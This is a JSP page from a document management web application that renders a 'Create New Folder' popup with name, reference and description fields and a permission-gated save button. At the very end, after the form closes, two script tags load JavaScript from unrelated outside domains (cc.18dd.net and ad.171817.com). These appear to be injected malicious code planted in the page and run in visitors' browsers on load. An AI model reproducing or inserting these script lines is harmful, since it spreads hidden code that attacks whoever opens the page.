<%
/*
 * @(#)DmsCreateNewFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DmsCreateNewFolder.jsp

  This class is used to retrieve the document content from http

  @author          jerry zhou
  @company         DCIVision Limited
  @creation date   27/07/2005
  @version         $Revision: 1.12.26.11 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.dms.core.FileDownloader"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.struts.action.Action"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsCreateNewFolderForm" scope="request" class="com.dcivision.dms.web.MaintDmsCreateNewFolderForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>

<html:form type="maintDmsCreateNewFolderForm" enctype="multipart/form-data" action="dms/MaintDmsCreateNewFolder" styleClass="form-style-2">
<html:javascript formName="maintDmsCreateNewFolderForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String rootID = maintDmsCreateNewFolderForm.getRootID();
  String parentID = maintDmsCreateNewFolderForm.getParentID();
  
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(parentID));

  DmsRootDAObject dmsRootDAObject = new DmsRootDAObject(sessionContainer,conn);
  DmsRoot documentRoot = (DmsRoot)dmsRootDAObject.getObjectByID(TextUtility.parseIntegerObj(rootID));
  
  DmsDocument doc = (DmsDocument)request.getAttribute("doc")!=null?(DmsDocument)request.getAttribute("doc"):new DmsDocument();
%>

<script language="JavaScript">
<!--
function OpSelfSave() { 
  if(document.maintDmsCreateNewFolderForm.documentName.value == null|| document.maintDmsCreateNewFolderForm.documentName.value==''){
   alert("<bean:message key='errors.dms.empty_document_name'/>");
    return false;
  }
  document.maintDmsCreateNewFolderForm.opMode.value='N';
  document.maintDmsCreateNewFolderForm.submit();
  return false;
}

function closeWindow(){
  var rootID;
  var parentID;
  rootID = '<%=doc.getRootID()%>';
  parentID = '<%=doc.getID()%>';
  var parent = window.opener;
  window.self.close();
  if(!parent.closed) {
 		parent.refreshPage(rootID,parentID);
 	}
}

-->
</script>
<html:hidden property="opMode"/>


<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->

<!-- Common Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<!-- Framework Javascript End -->


<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
</script>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>


<title>Create New Folder</title>

</head>

<body>

<div class="popupPanelTitle">
  <table width='100%'>
    <tr><td>
      <layout:sectionHeader name='dms.label.permission_F' blackLine='false' mandatory='false'/>
    </td></tr>
  </table>
</div>


<div class="generalContainer">
  <div class="wrapperContainer-clearfix">
    <table width="100%">
      <layout:sectionHeader name='dms.label.doc_info_Z' blackLine='true' mandatory='true'/>
      <tr>
        <td class="formLabelSmallMan" width="25%"><bean:message key='dms.label.document_name'/>:&nbsp;</td>
        <td class="formFieldSmall" width="75%">
          <html:text property='documentName' size='40' maxlength='100'/>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall" width="25%"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
        <td class="formFieldSmall" width="75%"><html:text property='referenceNo' size='20' maxlength='30'/></td>
      </tr>
      <tr>
        <td class="formLabelSmall" width="25%" valign="top"><bean:message key='dms.label.description'/>:&nbsp;</td>
        <td class="formFieldSmall" width="75%"><html:textarea property='description' cols='40' rows='5' textlimit='255'/></td>
      </tr>
    </table>
  </div>
</div>

<div id="bottomButtonArea">
  <div id="buttonSection">
    <%if (permission.indexOf("F")>-1 || DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getRootName())){%>
      <html:standardButton label="common.label.save" onClick="return OpSelfSave()"/>
    <%}else{%>
      <html:standardButton label="common.label.save" disable="true"/>
    <%}%>
    <html:standardButton label="common.label.close" onClick="return closeWindow();"/>  
  </div>
</div>

</body>
</html>

</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>